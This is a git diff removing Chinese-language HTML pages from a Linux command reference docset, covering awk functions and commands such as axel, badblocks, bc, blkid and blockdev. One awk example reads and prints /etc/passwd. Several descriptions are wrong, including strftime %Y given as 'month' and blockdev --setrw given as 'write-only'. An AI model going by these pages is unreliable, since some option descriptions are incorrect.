| 格式 | 描述 | -| ---- | ---- | -| gsub( Ere, Repl, [ In ] ) | 除了正则表达式所有具体值被替代这点,它和 sub 函数完全一样地执行。 | -| sub( Ere, Repl, [ In ] ) | 用 Repl 参数指定的字符串替换 In 参数指定的字符串中的由 Ere 参数指定的扩展正则表达式的第一个具体值。sub 函数返回替换的数量。出现在 Repl 参数指定的字符串中的 &(和符号)由 In 参数指定的与 Ere 参数的指定的扩展正则表达式匹配的字符串替换。如果未指定 In 参数,缺省值是整个记录($0 记录变量)。 | -| index( String1, String2 ) | 在由 String1 参数指定的字符串(其中有出现 String2 指定的参数)中,返回位置,从 1 开始编号。如果 String2 参数不在 String1 参数中出现,则返回 0(零)。 | -| length [(String)] | 返回 String 参数指定的字符串的长度(字符形式)。如果未给出 String 参数,则返回整个记录的长度($0 记录变量)。 | -| blength [(String)] | 返回 String 参数指定的字符串的长度(以字节为单位)。如果未给出 String 参数,则返回整个记录的长度($0 记录变量)。 | -| substr( String, M, [ N ] ) | 返回具有 N 参数指定的字符数量子串。子串从 String 参数指定的字符串取得,其字符以 M 参数指定的位置开始。M 参数指定为将 String 参数中的第一个字符作为编号 1。如果未指定 N 参数,则子串的长度将是 M 参数指定的位置到 String 参数的末尾 的长度。 | -| match( String, Ere ) | 在 String 参数指定的字符串(Ere 参数指定的扩展正则表达式出现在其中)中返回位置(字符形式),从 1 开始编号,或如果 Ere 参数不出现,则返回 0(零)。RSTART 特殊变量设置为返回值。RLENGTH 特殊变量设置为匹配的字符串的长度,或如果未找到任何匹配,则设置为 -1(负一)。| -| split( String, A, [Ere] ) | 将 String 参数指定的参数分割为数组元素 A[1], A[2], . . ., A[n],并返回 n 变量的值。此分隔可以通过 Ere 参数指定的扩展正则表达式进行,或用当前字段分隔符(FS 特殊变量)来进行(如果没有给出 Ere 参数)。除非上下文指明特定的元素还应具有一个数字值,否则 A 数组中的元素用字符串值来创建。 | -| tolower( String ) | 返回 String 参数指定的字符串,字符串中每个大写字符将更改为小写。大写和小写的映射由当前语言环境的 LC_CTYPE 范畴定义。 | -| toupper( String ) | 返回 String 参数指定的字符串,字符串中每个小写字符将更改为大写。大写和小写的映射由当前语言环境的 LC_CTYPE 范畴定义。 | -| sprintf(Format, Expr, Expr, . . . ) | 根据 Format 参数指定的 printf 子例程格式字符串来格式化 Expr 参数指定的表达式并返回最后生成的字符串。 |

-

注:Ere都可以是正则表达式。

-

gsub,sub使用

-
awk 'BEGIN{info="this is a test2010test!";gsub(/[0-9]+/,"!",info);print info}'
-this is a test!test!
-
-

在 info中查找满足正则表达式,/[0-9]+/””替换,并且替换后的值,赋值给info 未给info值,默认是$0

-

查找字符串(index使用)

-
awk 'BEGIN{info="this is a test2010test!";print index(info,"test")?"ok":"no found";}'
-ok
-
-

未找到,返回0

-

正则表达式匹配查找(match使用)

-
awk 'BEGIN{info="this is a test2010test!";print match(info,/[0-9]+/)?"ok":"no found";}'
-ok
-
-

截取字符串(substr使用)

-
[wangsl@centos5 ~]$ awk 'BEGIN{info="this is a test2010test!";print substr(info,4,10);}'
-s is a tes
-
-

从第 4个 字符开始,截取10个长度字符串

-

字符串分割(split使用)

-
awk 'BEGIN{info="this is a test";split(info,tA," ");print length(tA);for(k in tA){print k,tA[k];}}'
-4
-4 test
-1 this
-2 is
-3 a
-
-

分割info,动态创建数组tA,这里比较有意思,awk for …in循环,是一个无序的循环。 并不是从数组下标1…n ,因此使用时候需要注意。

-

格式化字符串输出(sprintf使用)

-

格式化字符串格式:

-

其中格式化字符串包括两部分内容:一部分是正常字符,这些字符将按原样输出; 另一部分是格式化规定字符,以"%"开始,后跟一个或几个规定字符,用来确定输出内容格式。

-

| 格式 | 描述 | 格式 | 描述 | -| ---- | ---- | ---- | ---- | -| %d | 十进制有符号整数 | %u | 十进制无符号整数 | -| %f | 浮点数 | %s | 字符串 | -| %c | 单个字符 | %p | 指针的值 | -| %e | 指数形式的浮点数 | %x | %X 无符号以十六进制表示的整数 | -| %o | 无符号以八进制表示的整数 | %g | 自动选择合适的表示法 |

-
awk 'BEGIN{n1=124.113;n2=-1.224;n3=1.2345; printf("%.2f,%.2u,%.2g,%X,%on",n1,n2,n3,n1,n1);}'
-124.11,18446744073709551615,1.2,7C,174
-
-

一般函数

-

| 格式 | 描述 | -| ---- | ---- | -| close( Expression ) | 用同一个带字符串值的 Expression 参数来关闭由 print 或 printf 语句打开的或调用 getline 函数打开的文件或管道。如果文件或管道成功关闭,则返回 0;其它情况下返回非零值。如果打算写一个文件,并稍后在同一个程序中读取文件,则 close 语句是必需的。 | -| system(command ) | 执行 Command 参数指定的命令,并返回退出状态。等同于 system 子例程。| -| Expression \| getline [ Variable ] | 从来自 Expression 参数指定的命令的输出中通过管道传送的流中读取一个输入记录,并将该记录的值指定给 Variable 参数指定的变量。如果当前未打开将 Expression 参数的值作为其命令名称的流,则创建流。创建的流等同于调用 popen 子例程,此时 Command 参数取 Expression 参数的值且 Mode 参数设置为一个是 r 的值。只要流保留打开且 Expression 参数求得同一个字符串,则对 getline 函数的每次后续调用读取另一个记录。如果未指定 Variable 参数,则 $0 记录变量和 NF 特殊变量设置为从流读取的记录。| -| getline [ Variable ] < Expression | 从 Expression 参数指定的文件读取输入的下一个记录,并将 Variable 参数指定的变量设置为该记录的值。只要流保留打开且 Expression 参数对同一个字符串求值,则对 getline 函数的每次后续调用读取另一个记录。如果未指定 Variable 参数,则 $0 记录变量和 NF 特殊变量设置为从流读取的记录。 | -| getline [ Variable ] | 将 Variable 参数指定的变量设置为从当前输入文件读取的下一个输入记录。如果未指定 Variable 参数,则 $0 记录变量设置为该记录的值,还将设置 NF、NR 和 FNR 特殊变量。 |

-

打开外部文件(close用法)

-
awk 'BEGIN{while("cat /etc/passwd"|getline){print $0;};close("/etc/passwd");}'
-root:x:0:0:root:/root:/bin/bash
-bin:x:1:1:bin:/bin:/sbin/nologin
-daemon:x:2:2:daemon:/sbin:/sbin/nologin
-
-

逐行读取外部文件(getline使用方法)

-
awk 'BEGIN{while(getline < "/etc/passwd"){print $0;};close("/etc/passwd");}'
-root:x:0:0:root:/root:/bin/bash
-bin:x:1:1:bin:/bin:/sbin/nologin
-daemon:x:2:2:daemon:/sbin:/sbin/nologin
-
-
awk 'BEGIN{print "Enter your name:";getline name;print name;}'
-Enter your name:
-chengmo
-chengmo
-
-

调用外部应用程序(system使用方法)

-
awk 'BEGIN{b=system("ls -al");print b;}'
-total 42092
-drwxr-xr-x 14 chengmo chengmo     4096 09-30 17:47 .
-drwxr-xr-x 95 root   root       4096 10-08 14:01 ..
-
-

b返回值,是执行结果。

-

时间函数

-

| 格式 | 描述 | -| ---- | ---- | -| 函数名 | 说明 | -| mktime( YYYY MM dd HH MM ss[ DST]) | 生成时间格式 | -| strftime([format [, timestamp]]) | 格式化时间输出,将时间戳转为时间字符串具体格式,见下表。 | -| systime() | 得到时间戳,返回从1970年1月1日开始到当前时间(不计闰年)的整秒数 |

-

建指定时间(mktime使用)

-
awk 'BEGIN{tstamp=mktime("2001 01 01 12 12 12");print strftime("%c",tstamp);}'
-2001年01月01日 星期一 12时12分12秒
-
-
awk 'BEGIN{tstamp1=mktime("2001 01 01 12 12 12");tstamp2=mktime("2001 02 01 0 0 0");print tstamp2-tstamp1;}'
-2634468
-
-

求2个时间段中间时间差,介绍了strftime使用方法

-
awk 'BEGIN{tstamp1=mktime("2001 01 01 12 12 12");tstamp2=systime();print tstamp2-tstamp1;}' 
-308201392
-
-

strftime日期和时间格式说明符

-

| 格式 | 描述 | -| ---- | ---- | -| %a | 星期几的缩写(Sun) | -| %A | 星期几的完整写法(Sunday) | -| %b | 月名的缩写(Oct) | -| %B | 月名的完整写法(October) | -| %c | 本地日期和时间 | -| %d | 十进制日期 | -| %D | 日期 08/20/99 | -| %e | 日期,如果只有一位会补上一个空格 | -| %H | 用十进制表示24小时格式的小时 | -| %I | 用十进制表示12小时格式的小时 | -| %j | 从1月1日起一年中的第几天 | -| %m | 十进制表示的月份 | -| %M | 十进制表示的分钟 | -| %p | 12小时表示法(AM/PM) | -| %S | 十进制表示的秒 | -| %U | 十进制表示的一年中的第几个星期(星期天作为一个星期的开始) | -| %w | 十进制表示的星期几(星期天是0) | -| %W | 十进制表示的一年中的第几个星期(星期一作为一个星期的开始) | -| %x | 重新设置本地日期(08/20/99) | -| %X | 重新设置本地时间(12:00:00) | -| %y | 两位数字表示的年(99) | -| %Y | 当前月份 | -| %% | 百分号(%) |

- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/axel.html b/linux-command.docset/Contents/Resources/Documents/c/axel.html deleted file mode 100644 index 4832641f9c..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/axel.html +++ /dev/null @@ -1,109 +0,0 @@ - - - - - - - - - - - axel 命令,Linux axel 命令详解:多线程下载工具 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

axel

-

多线程下载工具

-

补充说明

-

axel 是Linux下一个不错的HTTP/ftp高速下载工具。支持多线程下载、断点续传,且可以从多个地址或者从一个地址的多个连接来下载同一个文件。适合网速不给力时多线程下载提高下载速度。比如在国内VPS或服务器上下载lnmp一键安装包用Axel就比wget快。

-

安装

-

CentOS安装Axel:

-

目前yum源上没有Axel,我们可以到 http://pkgs.repoforge.org/axel/ 下载rpm包安装。

-

32位CentOS执行下面命令:

-
wget -c http://pkgs.repoforge.org/axel/axel-2.4-1.el5.rf.i386.rpm
-rpm -ivh axel-2.4-1.el5.rf.i386.rpm
-
-

64位CentOS执行下面命令:

-
wget -c http://pkgs.repoforge.org/axel/axel-2.4-1.el5.rf.x86_64.rpm
-rpm -ivh axel-2.4-1.el5.rf.x86_64.rpm
-
-

Debian/Ubuntu安装Axel:

-
apt-get install axel
-
-

语法

-
axel [options] url1 [url2] [url...]
-
-

选项

-
--max-speed=x , -s x         # 最高速度x
---num-connections=x , -n x   # 连接数x
---output=f , -o f            # 下载为本地文件f
---search[=x] , -S [x]        # 搜索镜像
---header=x , -H x            # 添加头文件字符串x(指定 HTTP header)
---user-agent=x , -U x        # 设置用户代理(指定 HTTP user agent)
---no-proxy , -N             # 不使用代理服务器
---quiet , -q                # 静默模式
---verbose ,-v               # 更多状态信息
---alternate , -a            # Alternate progress indicator
---help ,-h                  # 帮助
---version ,-V               # 版本信息
-
-

实例

-

如下载lnmp安装包指定10个线程,存到 /tmp/

-
axel -n 10 -o /tmp/ http://www.jsdig.com/lnmp.tar.gz
-
-

如果下载过程中下载中断可以再执行下载命令即可恢复上次的下载进度。

- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/badblocks.html b/linux-command.docset/Contents/Resources/Documents/c/badblocks.html deleted file mode 100644 index 426d9f6fad..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/badblocks.html +++ /dev/null @@ -1,119 +0,0 @@ - - - - - - - - - - - badblocks 命令,Linux badblocks 命令详解:查找磁盘中损坏的区块 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

badblocks

-

查找磁盘中损坏的区块

-

补充说明

-

badblock命令 用于查找磁盘中损坏的区块。 硬盘是一个损耗设备,当使用一段时间后可能会出现坏道等物理故障。电脑硬盘出现坏道后,如果不及时更换或进行技术处理,坏道就会越来越多,并会造成频繁死机和数据丢失。最好的处理方式是更换磁盘,但在临时的情况下,应及时屏蔽坏道部分的扇区,不要触动它们。badblocks就是一个很好的检查坏道位置的工具。

-

语法

-
badblock(选项)(参数)
-
-

选项

-
-b<区块大小>:指定磁盘的区块大小,单位为字节;
--o<输出文件>:将检查的结果写入指定的输出文件;
--s:在检查时显示进度;
--v:执行时显示详细的信息;
--w:在检查时,执行写入测试。
-
-

参数

-
    -
  • 磁盘装置:指定要检查的磁盘装置;
  • -
  • 磁盘区块数:指定磁盘装置的区块总数;
  • -
  • 启始区块:指定要从哪个区块开始检查。
  • -
-

实例

-

badblocks以 4096 的一个block,每一个block检查16次,将结果输出到“hda-badblocks-list”文件里。

-
badblocks -b 4096 -c 16 /dev/hda1 -o hda-badblocks-list
-
-

hda-badblocks-list是个文本文件,内容如下:

-
cat hda-badblocks-list
-51249
-51250
-51251
-51253
-51254
-……
-61245
-……
-
-

可以针对可疑的区块多做几次操作。下面,badblocks以4096字节为一个“block”,每一个“block”检查1次, 将结果输出到“hda-badblocks-list.1”文件中,由第51000 block开始,到63000 block结束。

-
badblocks -b 4096 -c 1 /dev/hda1 -o hda-badblocks-list.1 63000 51000
-
-

这次花费的时间比较短,硬盘在指定的情况下在很短的时间就产生“嘎嘎嘎嘎”的响声。由于检查条件的不同,其输出的结果也不完全是相同的。重复几次同样的操作,因条件多少都有些不同,所以结果也有所不同。进行多次操作后,直到产生最后的hda-badblock-list.final文件。

-

其他

-

1、fsck使用badblocks的信息

-

badblocks只会在日志文件中标记出坏道的信息,但若希望在检测磁盘时也能跳过这些坏块不检测,可以使用fsck的-l参数:

-
fsck.ext3 -l /tmp/hda-badblock-list.final /dev/hda1
-
-

2、在创建文件系统前检测坏道

-

badblocks可以随e2fsck和mke2fs的-c删除一起运行(对ext3文件系统也一样),在创建文件系统前就先检测坏道信息:

-
mkfs.ext3 -c /dev/hda1
-
-

代码表示使用-c在创建文件系统前检查坏道的硬盘。

-

这个操作已经很清楚地告知我们可以采用mkfs.ext3 -c选项用read-only方式检查硬盘。这个命令会在格式化硬盘时检查硬盘,并标出错误的硬盘“block”。用这个方法格式化硬盘,需要有相当大的耐心,因为命令运行后,会一个个用读的方式检查硬盘。

- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/base64.html b/linux-command.docset/Contents/Resources/Documents/c/base64.html deleted file mode 100644 index 4f40037921..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/base64.html +++ /dev/null @@ -1,97 +0,0 @@ - - - - - - - - - - - base64 命令,Linux base64 命令详解:base64 编码/解码文件或标准输入输出 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

base64

-

base64 编码/解码文件或标准输入输出

-

描述

-

base64将文件标准输入编码或解码为标准输出;

-

语法

-
base64 [OPTION]... [FILE]
-
-

参数

-
-d, --decode         # 解码
--i, --ignore-garbage # 解码时,忽略非字母字符
--w, --wrap=COLS      # 在指定的字符数后自动换行(默认为76), 0 为禁用自动换行
-
---help      # 显示此帮助说明并退出
---version   # 输出版本信息并退出
-
-

实例

-

编码字符串

-
printf foo|base64
-
-

编码文件

-
base64 file
-
-

解码

-
printf Zm9v|base64 -d
-
-

解码文件

-
base64 -d file
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/basename.html b/linux-command.docset/Contents/Resources/Documents/c/basename.html deleted file mode 100644 index decdb6f1a0..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/basename.html +++ /dev/null @@ -1,94 +0,0 @@ - - - - - - - - - - - basename 命令,Linux basename 命令详解:打印目录或者文件的基本名称 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

basename

-

打印目录或者文件的基本名称

-

补充说明

-

basename命令 用于打印目录或者文件的基本名称。basename和dirname命令通常用于shell脚本中的命令替换来指定和指定的输入文件名称有所差异的输出文件名称。

-

语法

-
basename(选项)(参数)
-
-

选项

-
--help:显示帮助;
---version:显示版本号。
-
-

参数

-
    -
  • 文件:带路径信息的文件;
  • -
  • 后缀:可选参数,指定要去除的文件后缀字符串。
  • -
-

实例

-

1、要显示一个shell变量的基本名称,请输入:

-
basename $WORKFILE
-
-

此命令显示指定给shell变量WORKFILE的值的基本名称。如果WORKFILE变量的值是/home/jim/program.c文件,则此命令显示program.c。

-

要构造一个和另一个文件名称相同(除了后缀)的文件名称,请输入:

-
OFILE=`basename $1 .c`.o
-
-

此命令指定给 OFILE 文件第一个位置上的参数($1)的值,但它的 .c 后缀更改至 .o。如果 $1 是 /home/jim/program.c 文件,则 OFILE 成为 program.o。因为 program.o 仅是一个基本文件名称,它标识在当前目录中的文件。

- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/batch.html b/linux-command.docset/Contents/Resources/Documents/c/batch.html deleted file mode 100644 index 6d8544ff57..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/batch.html +++ /dev/null @@ -1,89 +0,0 @@ - - - - - - - - - - - batch 命令,Linux batch 命令详解:在系统不繁忙的时候执行定时任务 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

batch

-

在系统不繁忙的时候执行定时任务

-

补充说明

-

batch命令 用于在指定时间,当系统不繁忙时执行任务,用法与at相似。

-

语法

-
batch(选项)(参数)
-
-

选项

-
-f:指定包含具体指令的任务文件;
--q:指定新任务的队列名称;
--m:任务执行完后向用户发送E-mail。
-
-

参数

-

日期时间:指定任务执行的日期时间。

-

实例

-
batch 
-at> echo 1234
-at> <EOT>
-job 5 at Sun Apr 28 08:49:00 2013
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/bc.html b/linux-command.docset/Contents/Resources/Documents/c/bc.html deleted file mode 100644 index 7332fdc0d5..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/bc.html +++ /dev/null @@ -1,115 +0,0 @@ - - - - - - - - - - - bc 命令,Linux bc 命令详解:算术操作精密运算工具 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

bc

-

算术操作精密运算工具

-

补充说明

-

bc命令 是一种支持任意精度的交互执行的计算器语言。bash内置了对整数四则运算的支持,但是并不支持浮点运算,而bc命令可以很方便的进行浮点运算,当然整数运算也不再话下。

-

语法

-
bc(选项)(参数)
-
-

选项

-
-i:强制进入交互式模式;
--l:定义使用的标准数学库;
--w:对POSIX bc的扩展给出警告信息;
--q:不打印正常的GNU bc环境信息;
--v:显示指令版本信息;
--h:显示指令的帮助信息。
-
-

参数

-

文件:指定包含计算任务的文件。

-

实例

-

算术操作高级运算bc命令它可以执行浮点运算和一些高级函数:

-
echo "1.212*3" | bc 
-3.636
-
-
-

设定小数精度(数值范围)

-
echo "scale=2;3/8" | bc
-0.37
-
-
-

参数scale=2是将bc输出结果的小数位设置为2位。

-

进制转换

-
#!/bin/bash
-abc=192
-echo "obase=2;$abc" | bc
-
-
-

执行结果为:11000000,这是用bc将十进制转换成二进制。

-
#!/bin/bash
-abc=11000000
-echo "obase=10;ibase=2;$abc" | bc
-
-
-

执行结果为:192,这是用bc将二进制转换为十进制。

-

计算平方和平方根:

-
echo "10^10" | bc
-echo "sqrt(100)" | bc
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/bg.html b/linux-command.docset/Contents/Resources/Documents/c/bg.html deleted file mode 100644 index 5d5183cc35..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/bg.html +++ /dev/null @@ -1,105 +0,0 @@ - - - - - - - - - - - bg 命令,Linux bg 命令详解:将前台终端作业移动到后台运行 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

bg

-

将前台终端作业移动到后台运行

-

概要

-
bg [job_spec ...]
-
-

主要用途

-
    -
  • -

    用于将作业放到后台运行,使前台可以执行其他任务。该命令的运行效果与在指令后面添加符号&的效果是相同的,都是将其放到系统后台执行。

    -
  • -
  • -

    若后台任务中只有一个,则使用该命令时可以省略任务号。

    -
  • -
-

参数

-

job_spec(可选):指定要移动到后台执行的作业标识符,可以是一到多个。

-

返回值

-

返回成功除非未开启作业控制或发生了错误。

-

例子

-
# 运行sleep命令,然后按下ctrl+z。
-sleep 60
-^Z
-[1]+  Stopped                 sleep 60
-
-# 使用bg命令使得作业在后台运行。
-bg %1
-
-# 返回信息:
-[1]+ sleep 60 &
-
-

注意

-
    -
  1. bash的作业控制命令包括bg fg kill wait disown suspend
  2. -
  3. 该命令需要set选项monitor处于开启状态时才能执行;查看作业控制状态:输入set -o查看monitor行;执行set -o monitorset -m开启该选项。
  4. -
  5. 该命令是bash内建命令,相关的帮助信息请查看help命令。
  6. -
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/bind.html b/linux-command.docset/Contents/Resources/Documents/c/bind.html deleted file mode 100644 index 79c8e6a5d6..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/bind.html +++ /dev/null @@ -1,109 +0,0 @@ - - - - - - - - - - - bind 命令,Linux bind 命令详解:显示或设置键盘按键与其相关的功能 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

bind

-

显示或设置键盘按键与其相关的功能

-

补充说明

-

bind命令 用于显示和设置命令行的键盘序列绑定功能。通过这一命令,可以提高命令行中操作效率。您可以利用bind命令了解有哪些按键组合与其功能,也可以自行指定要用哪些按键组合。

-

语法

-
bind(选项)
-
-

选项

-
-d:显示按键配置的内容;
--f<按键配置文件>:载入指定的按键配置文件;
--l:列出所有的功能;
--m<按键配置>:指定按键配置;
--q<功能>:显示指定功能的按键;
--v:列出目前的按键配置与其功能。
-
-

实例

-
bind -x '"\C-l":ls -l'    #直接按 CTRL+L 就列出目录
-
-

其中keyseq可以使用showkey -a命令来获取:

-
[root@localhost ~]# showkey -a
-
-Press any keys - Ctrl-D will terminate this program
-
-^[[A     27 0033 0x1b  上
-         91 0133 0x5b
-         65 0101 0x41
-^[[B     27 0033 0x1b  下
-         91 0133 0x5b
-         66 0102 0x42
-^[[D     27 0033 0x1b  左
-         91 0133 0x5b
-         68 0104 0x44
-^[[C     27 0033 0x1b 右
-         91 0133 0x5b
-         67 0103 0x43
-         32 0040 0x20
-^M       13 0015 0x0d 字母M
-^C        3 0003 0x03 Ctrl-C
-^D        4 0004 0x04 Ctrl-D 退出
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/blkid.html b/linux-command.docset/Contents/Resources/Documents/c/blkid.html deleted file mode 100644 index 98e309bd15..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/blkid.html +++ /dev/null @@ -1,127 +0,0 @@ - - - - - - - - - - - blkid 命令,Linux blkid 命令详解:查看块设备的文件系统类型、LABEL、UUID等信息 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

blkid

-

查看块设备的文件系统类型、LABEL、UUID等信息

-

补充说明

-

在Linux下可以使用 blkid命令 对查询设备上所采用文件系统类型进行查询。blkid主要用来对系统的块设备(包括交换分区)所使用的文件系统类型、LABEL、UUID等信息进行查询。要使用这个命令必须安装e2fsprogs软件包。

-

语法

-
blkid -L | -U
-blkid [-c ] [-ghlLv] [-o] [-s ][-t ] -[w ] [ ...]
-blkid -p [-s ] [-O ] [-S ][-o] ...
-blkid -i [-s ] [-o] ...
-
-

选项

-
-c <file>   # 指定cache文件(default: /etc/blkid.tab, /dev/null = none)
--d          # don't encode non-printing characters
--h          # 显示帮助信息
--g          # garbage collect the blkid cache
--o <format> # 指定输出格式
--k          # list all known filesystems/RAIDs and exit
--s <tag>    # 显示指定信息,默认显示所有信息
--t <token>  # find device with a specific token (NAME=value pair)
--l          # look up only first device with token specified by -t
--L <label>  # convert LABEL to device name
--U <uuid>   # convert UUID to device name
--v          # 显示版本信息
--w <file>   # write cache to different file (/dev/null = no write)
-<dev>       # specify device(s) to probe (default: all devices)
-Low-level probing options:
--p          # low-level superblocks probing (bypass cache)
--i          # gather information about I/O limits
--S <size>   # overwrite device size
--O <offset> # probe at the given offset
--u <list>   # filter by "usage" (e.g. -u filesystem,raid)
--n <list>   # filter by filesystem type (e.g. -n vfat,ext3)
-
-

实例

-

1、列出当前系统中所有已挂载文件系统的类型:

-
sudo blkid
-
-

2、显示指定设备 UUID:

-
sudo blkid -s UUID /dev/sda5
-
-

3、显示所有设备 UUID:

-
sudo blkid -s UUID
-
-

4、显示指定设备 LABEL:

-
sudo blkid -s LABEL /dev/sda5
-
-

5、显示所有设备 LABEL:

-
sudo blkid -s LABEL
-
-

6、显示所有设备文件系统:

-
sudo blkid -s TYPE
-
-

7、显示所有设备:

-
sudo blkid -o device
-
-

8、以列表方式查看详细信息:

-
sudo blkid -o list
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/blockdev.html b/linux-command.docset/Contents/Resources/Documents/c/blockdev.html deleted file mode 100644 index 16b29ae3c3..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/blockdev.html +++ /dev/null @@ -1,99 +0,0 @@ - - - - - - - - - - - blockdev 命令,Linux blockdev 命令详解:从命令行调用区块设备控制程序 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

blockdev

-

从命令行调用区块设备控制程序

-

补充说明

-

blockdev命令 在命令调用“ioxtls”函数,以实现对设备的控制。

-

语法

-
blockdev(选项)(参数)
-
-

选项

-
-V:打印版本号并退出;
--q:安静模式;
--v:详细信息模式;
---setro:只读;
---setrw:只写;
---getro:打印只读状态,“1”表示只读,“0”表示非只读;
---getss:打印扇区大小。通常为521;
---flushbufs:刷新缓冲区;
---rereadpt:重新读取分区表。
-
-

参数

-

设备文件名:指定要操作的磁盘的设备文件名。

-

实例

-

设置设备为只读:

-
blockdev --setro /dev/hda4
-
-

读取设备是否为只读:

-
blockdev --getro /dev/hda4
-
-

设置设别为可读写:

-
blockdev --setrw /dev/hda4
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/bmodinfo.html b/linux-command.docset/Contents/Resources/Documents/c/bmodinfo.html deleted file mode 100644 index a8f881ab95..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/bmodinfo.html +++ /dev/null @@ -1,100 +0,0 @@ - - - - - - - - - - - bmodinfo 命令,Linux bmodinfo 命令详解:显示给定模块的详细信息 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

bmodinfo

-

显示给定模块的详细信息

-

补充说明

-

bmodinfo命令 用于显示给定模块的详细信息。

-

语法

-
bmodinfo(选项)(参数)
-
-

选项

-
-a:显示模块作者;
--d:显示模块的描述信息;
--l:显示模块的许可信息;
--p:显示模块的参数信息;
--n:显示模块对应的文字信息;
--0:用ASCII码的0字符分割字段值,而不使用新行。
-
-

参数

-

模块名:要显示详细信息的模块名称。

-

实例

-

显示sg模块的信息:

-
[root@localhost ~]# modinfo sg
-filename:    /lib/modules/2.6.9-42.ELsmp/kernel/drivers/scsi/sg.ko
-author:     Douglas Gilbert
-description:  SCSI generic (sg) driver
-license:    GPL
-version:    3.5.31 B0B0CB1BB59F0669A1F0D6B
-parm:      def_reserved_size:size of buffer reserved for each fd
-parm:      allow_dio:allow direct I/O (default: 0 (disallow))
-alias:     char-major-21-*
-vermagic:    2.6.9-42.ELsmp SMP 686 REGPARM 4KSTACKS gcc-3.4
-depends:    scsi_mod
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/break.html b/linux-command.docset/Contents/Resources/Documents/c/break.html deleted file mode 100644 index a465e185fc..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/break.html +++ /dev/null @@ -1,116 +0,0 @@ - - - - - - - - - - - break 命令,Linux break 命令详解:结束for,while或until循环。 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

break

-

结束for,while或until循环。

-

概要

-
break [n]
-
-

主要用途

-
    -
  • 结束for,while或until循环,可指定退出几层循环。
  • -
-

参数

-

n(可选):大于等于1的整数,用于指定退出几层循环。

-

返回值

-

返回成功除非n小于1。

-

例子

-
# break的可选参数n缺省值为1。
-# 从外层for循环继续执行。
-for((i=3;i>0;i--)); do
-  for((j=3;j>0;j--)); do
-    if((j==2)); then
-      # 换成break 1时结果一样
-      break
-    fi
-  printf "%s %s\n" ${i} ${j}
-  done
-done
-# 输出结果
-3 3
-2 3
-1 3
-
-
# 当n为2时:
-# 退出两层循环,结束。
-for((i=3;i>0;i--)); do
-  for((j=3;j>0;j--)); do
-    if((j==2)); then
-      break 2
-    fi
-  printf "%s %s\n" ${i} ${j}
-  done
-done
-# 输出结果
-3 3
-
-

注意

-
    -
  1. 该命令是bash内建命令,相关的帮助信息请查看help命令。
  2. -
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/builtin.html b/linux-command.docset/Contents/Resources/Documents/c/builtin.html deleted file mode 100644 index 636ff40577..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/builtin.html +++ /dev/null @@ -1,122 +0,0 @@ - - - - - - - - - - - builtin 命令,Linux builtin 命令详解:执行bash内建命令。 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

builtin

-

执行bash内建命令。

-

概要

-
builtin [shell-builtin [arg ...]]
-
-

主要用途

-
    -
  • 用于执行指定的bash内建命令。
  • -
  • builtin命令调用的bash内建命令优先于同名的外部命令及同名的shell函数。
  • -
-

参数

-

shell-builtin(可选):要调用的bash内建命令。

-

arg(可选):传递给bash内建命令的一到多个参数。

-

返回值

-

